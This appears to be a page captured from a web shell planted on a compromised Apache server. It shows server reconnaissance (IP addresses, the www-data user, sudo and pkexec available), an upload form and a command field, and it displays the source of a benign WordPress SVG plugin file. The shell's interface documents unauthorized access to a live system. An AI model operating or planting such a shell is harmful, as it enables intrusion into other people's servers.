Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.37
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/svg-support/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/svg-support/functions/attribute-control.php
<?php
/**
 * Attribute Control
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * If in Advanced Mode
 */
if ( bodhi_svgs_advanced_mode() ) {

	/**
	 * Strip HTML of all attributes and add custom class if the file is .svg
	 */
	function bodhi_svgs_auto_insert_class( $html, $alt='' ) {

		global $bodhi_svgs_options;

		if ( ! empty( $bodhi_svgs_options['css_target'] ) ) {

			// if custom class is set, use it
			$class = $bodhi_svgs_options['css_target'];

		} else {

			// if no custom class set, use default
			$class = 'style-svg';

		}

		// check if the src file has .svg extension
		if ( strpos( $html, '.svg' ) !== FALSE ) {

			// strip html for svg files
			$html = preg_replace( '/(width|height|title|alt|class)=".*"\s/', 'class="' . esc_attr($class) . '"', $html );

		} else {

			// leave html intact for non-svg
			$html = $html;

		}

		return $html;

	}

	/**
	 * Fire auto insert class
	 */
	if ( ! empty( $bodhi_svgs_options['auto_insert_class'] ) ) {
		add_filter( 'image_send_to_editor', 'bodhi_svgs_auto_insert_class', 10 );
		// add_filter( 'post_thumbnail_html', 'bodhi_svgs_auto_insert_class', 10 );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit